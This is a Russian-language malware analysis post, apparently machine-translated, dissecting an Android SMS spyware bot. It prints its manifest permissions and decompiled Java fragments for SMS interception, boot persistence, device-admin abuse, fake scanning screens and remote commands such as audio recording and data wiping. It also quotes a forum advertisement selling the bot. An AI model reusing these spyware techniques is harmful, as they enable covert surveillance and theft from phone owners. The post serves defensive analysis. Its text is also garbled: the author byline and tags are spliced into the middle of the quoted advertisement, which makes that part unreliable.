Анализ СМС-бота для Android. Часть I
Введение
Анализ smsBot (Android) с целью выявления принципа работы и интересного функционала.Бот реализован для платформы Android, алгоритм открытия приложения следующий:
- Загрузите APK-файл;
- Извлеките файл манифеста;
- Декомпилируем приложение в читаемый исходный код или байт-код;
- Анализируем манифест и код.
- Apktool — используется для извлечения манифеста и ресурсов;
- Dex2jar – декомпилировать APK-файл в байт-код;
- Jd-gui — конвертирует байт-код в читаемый код.
Познакомимся с манифестом
Открыв манифест, сразу обратим внимание на системные разрешения, которые мне показались более интересными:Итак, наш бот читает состояние телефона, обрабатывает звонки, пишет на флэшку, пишет/читает/получает/отправляет СМС, читает базу контактов и записывает звук.<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.RECORD_AUDIO" />
Интересный… Далее согласно манифесту.
Мы видим следующий код: …
<service android:name="com.soft360.iService.AService" android:enabled="true" android:exported="false" />
<service android:name="com.soft360.iService.webService" android:enabled="true" android:exported="false" />
<receiver android:name="com.soft360.iService.Alarm" android:enabled="true" android:exported="false" />
<receiver android:name="com.soft360.iService.AutoStart" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<activity android:theme="@*android:style/Theme.Translucent" android:name="com.BioTechnology.iClientsService.IncomingCallActivity" />
<receiver android:name="com.soft360.Receiver.MyPhoneReceiver">
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>
<receiver android:name="com.soft360.web.MyAdmin" android:permission="android.permission.BIND_DEVICE_ADMIN">
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
<meta-data android:name="android.app.device_admin" android:resource="@layout/policies" />
</receiver>
…
Видим, что они объявлены:
- Сервисы AService и webService,
- приемники Alarm, AutoStart, MyPhoneReceiver (отслеживает состояние телефона, скорее всего звонки), MyAdmin (бот хочет администрировать устройство).
Я просмотрел файлы ресурсов и не нашел ничего интересного.
Теперь перейдем к анализу полученного java-кода.
Анализ кода
Бот состоит как минимум из 19 основных рабочих классов.В результате анализа я выделил самые основные и интересные классы, отвечающие за диверсионную деятельность бота:
- - Автостарт.java;
- - aService.java;
- - smsParser.java;
- - smsReciever.java;
- - webServiceRobot.java;
MainActivity.java
Прежде чем мы начнем анализировать вышеуказанные классы, давайте взглянем на класс MainActivity. Посмотрим, что там интересного.
Intent localIntent1 = new Intent("android.provider.Telephony.SMS_RECEIVED");
localIntent1.setClass(this, SmsReciever.class);
sendBroadcast(localIntent1);
Intent localIntent2 = new Intent(this, AService.class);
startService(localIntent2);
Intent localIntent3 = new Intent(this, webService.class);
startService(localIntent3);
Сразу после загрузки бот пытается:
- Все входящие SMS-сообщения должны отправляться на SmsReciver;
- Запускает службы AService и webService.
Intent localIntent4 = new Intent("android.app.action.ADD_DEVICE_ADMIN");
localIntent4.putExtra("android.app.extra.DEVICE_ADMIN", this.compName);
localIntent4.putExtra("android.app.extra.ADD_EXPLANATION", "Additional text explaining why this needs to be added.");
startActivityForResult(localIntent4, 1);
Видно, что бот пытается добавить себя в качестве администратора другого устройства.
Внимание! Обманчивый маневр.
Затем в MainActivity.java он запускает множество разных шаблонов для обмана пользователя, выдавая себя за приложение, которое якобы сканирует телефон на всевозможные мобильные уязвимости, а также якобы самообновляется.
И вся эта красота дана на португальском языке, с указанием какого-то австралийского банка.
Фактически никакого сканирования телефона, скачивания сертификатов и т.п.
нет. Запускаются только шаблоны-пустышки, имитирующие активную деятельность.
Вот пример такого манекена: private class template4_task
extends AsyncTask<Void, Void, Void>
{
private template4_task() {}
protected Void doInBackground(Void. paramVarArgs)
{
try
{
TimeUnit.SECONDS.sleep(5L);
return null;
}
catch (InterruptedException localInterruptedException)
{
for (;;)
{
localInterruptedException.printStackTrace();
}
Запускается Asintask, а там стоит таймер, который просто запускается и.
ничего не делает!
Автозапуск приемника
Этот ресивер начинает работать сразу после загрузки телефона и запускает те же действия, что и MainActivity: Intent localIntent = new Intent("android.provider.Telephony.SMS_RECEIVED");
localIntent.setClass(paramContext, SmsReciever.class);
paramContext.sendBroadcast(localIntent);
paramContext.startService(new Intent(paramContext, AService.class));
paramContext.startService(new Intent(paramContext, webService.class));
сервис
Этот сервис, фильтруя события, регистрирует и запускает приемник smsReciever, который в свою очередь будет принимать и обрабатывать все полученные СМС-сообщения (но об этом чуть позже).
Вот доказательства: …
final IntentFilter smsFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
…
this.smsFilter.setPriority(999);
this.smsReceiver = new SmsReciever();
registerReceiver(this.smsReceiver, this.smsFilter);
smsReceiver и smsParser
Теперь перейдем к более интересным фрагментам кода бота.Это приемник smsReceiver и отдельный класс для идентификации кодов от СМС и веб-админки.
Вот очень урезанный фрагмент кода smsReceiver: public void onReceive(Context paramContext, Intent paramIntent)
{
…
for (;;)
{
…
{
smsParser localsmsParser = smsParser.getInstance();
localsmsParser.setSMSMessage(localSmsMessage.getMessageBody());
if (localsmsParser.isStartSMS()) {
localdbActions.setStartSMS();
}
…
if (localsmsParser.isStopSMS())
{
localdbActions.setStopSMS();
}
else if (localsmsParser.isStartCALL())
{
try
{
localdbActions.setStartCALL();
}
…
else if (localsmsParser.isStopCALL())
{
try
{
localdbActions.setStopCALL();
}
…
else if (localsmsParser.isSmsList())
{
localdbActions.sent_smslist_to_server();
}
else if (localsmsParser.isCallList())
{
localdbActions.sent_Call_Details();
}
else if (localsmsParser.isStartRecord())
{
if (webServiceRobot.AR != null) {
try
{
webServiceRobot.AR.stop();
webServiceRobot.AR = null;
return;
}
…
if (localsmsParser.isStopRecord())
{
localdbActions.setStopRecord();
if (webServiceRobot.AR == null) {
break;
}
try
{
webServiceRobot.AR.stop();
webServiceRobot.AR = null;
}
…
}
if (localsmsParser.isSmsSend())
{
localdbActions.SendSMS(localSmsMessage.getMessageBody());
}
else if (localsmsParser.isContactList())
{
localdbActions.sent_call_list_details();
}
else
{
if (!localsmsParser.isWipeData()) {
break label592;
}
localdbActions.make_wipe_data();
.
paramContext.startService(new Intent(paramContext, AService.class));
paramContext.startService(new Intent(paramContext, webService.class));
…
Думаю, подробные комментарии не нужны.
Из кода понятно, что:
- Установите флажки для запуска/остановки записи телефонных разговоров;
- Отправка СМС;
- Отправка списка SMS-сообщений;
- Отправка списка звонков;
- Перезапись информации и т. д.
private static final String COMMAND_GET_CALL_LIST = "call list";
private static final String COMMAND_GET_CONTACT_LIST = "contact list";
private static final String COMMAND_GET_SMS_LIST = "sms list";
private static final String COMMAND_PING = "ping";
private static final String COMMAND_SEND_SMS = "sendSMS";
private static final String COMMAND_START_RECORD = "start record";
private static final String COMMAND_STOP_RECORD = "stop record";
private static final String COMMAND_WIPE_DATA = "wipe data";
private static final String startCALL = "call start";
private static final String startSMS = "sms start";
private static final String stopCALL = "call stop";
private static final String stopSMS = "sms stop";
private static final String changeNUM = "change num";
private static final int COM_CALL_LIST = 6;
private static final int COM_CONTACT_LIST = 10;
private static final int COM_NULL = -1;
private static final int COM_PING = 12;
private static final int COM_SEND_SMS = 9;
private static final int COM_SMS_LIST = 5;
private static final int COM_START_CALL = 3;
private static final int COM_START_RECORD = 7;
private static final int COM_START_SMS = 1;
private static final int COM_STOP_CALL = 4;
private static final int COM_STOP_RECORD = 8;
private static final int COM_STOP_SMS = 2;
private static final int COM_WIPE_DATA = 11;
private static smsParser parser = null;
Используя эти константы, мы можем понять, какие функции может выполнять наш бот. Одни и те же команды задаются в строковой и числовой форме.
Скорее всего, производится проверка, из какого источника приходят команды (СМС или Интернет).
вебсервисробот
Этот класс похож на smsReceiver с той разницей, что он обрабатывает http-запросы.Выполняются практически все те же действия:
- Отправка СМС;
- Отправка списка SMS-сообщений;
- Отправка списка звонков;
- Перезапись информации и т. д.
выводы
Итак, мы рассмотрели основные фрагменты кода.Теперь сделаем выводы.
Бот хорошо написан и выполняет очень широкий набор функций.
Собственно, объявление с одного из форумов о продаже этого бота:
Уважаемые господа, мы рады предложить вам бота для мобильных устройств.Функционал:На данный момент бот реализован для операционной системы Android, также мы рады сообщить вам, что разработка Blackberry идет полным ходом, и первые бета-версии будут доступны в следующем месяце, всем клиентам, использующим Android-бот на Blackberry будут действовать значительные скидки.
Сейчас вкратце расскажу как это работает, для тех кто не знает, после установки на мобильное устройство приложение моментально залипает в удобную веб-панель если у вас есть 3g или wi-fi, а также отправляет СМС на контрольный номер с текстом Я (ICCID+ МОДЕЛЬ ТЕЛЕФОНА).
Наш бот реализован таким образом, что после входа в систему пользователь продолжает спокойно пользоваться своим телефоном, все функции ему доступны в обычном режиме.
В отличие от знаменитого «Перкеле», у нас нет конкретных цифр по перехвату; наш бот работает через систему команд. Команды подаются любым удобным для вас способом: либо с веб-панели при наличии Интернета, либо по СМС с контрольного номера.
- Сбор всей информации о жертве (номер телефона, ICCID, IMEI, IMSI, модель, ОС)
- Перехватывайте все входящие СМС и отправляйте их на веб-панель и на контрольный номер.
- Переадресация звонка на любой номер
- Захват всех входящих и исходящих SMS
- Перехват всех входящих и исходящих звонков
- Запишите аудиофайл, отправьте на сервер (мы знаем, что происходит вокруг)
- Отправка СМС на любой номер без ведома владельца
- Удобная веб-панель
Итак, данный софт продается, цена бота 4к, в комплекте вы получаете настроенную на вашем сервере админку + номер веб-управления + .Имя SMS-бота от производителей антивирусов: Trojan-Spy.AndroidOS.Zbot.a/Android.Smssniffer/Android/SpySMS/AndroidOS_SMSREP.B Набиев Нурлан (Казахстан) , отдел по расследованию киберпреступлений , Пентест ИТ Теги: #информационная безопасность #обратный инжиниринг #анализ вредоносного ПО #пентестит #SMS-ботapk файл с уникальным интерфейсом, разработанным под ваши нужды, а также в качестве постоянной поддержки продукта.
Также готовы рассмотреть варианты аренды и совместной работы за процент (просьба не стучаться, если у вас нет уколов и вы не умеете ими пользоваться).
Для более подробной информации пишите мне в личку используя свой джаббер для связи, GPG и OTR жизненно необходимы.
Уважаемые господа.
Вышло ОБНОВЛЕНИЕ для Android. Все клиенты, пожалуйста, свяжитесь с нами для получения обновлений, и мы ждем новых клиентов.
Что нового?
- Теперь наше приложение крайне сложно удалить.
При установке приложения программа запрашивает права администратора устройства, если владелец их ему предоставит, то удалять приложение будет крайне нудно, сервисы перезапустятся и вы не потеряете этого бота.
Если они его не предоставят, приложение продолжит работать в обычном режиме.
Для вашего удобства в админ-панели появился индикатор, показывающий, предоставлены права администратора или нет.
- Если вам предоставлены права администратора, то есть возможность сбросить телефон к заводским настройкам.
-
Sql-Программирование
19 Oct, 24 -
Знаете Ли Вы, Что Такое Веб-Хостинг Mac?
19 Oct, 24 -
Документация: Домены И Ip-Адреса
19 Oct, 24 -
Отправка Сообщения Xmpp
19 Oct, 24 -
Webalta Представила Открытый Онлайн-Каталог
19 Oct, 24 -
Новый Андроид 5.1
19 Oct, 24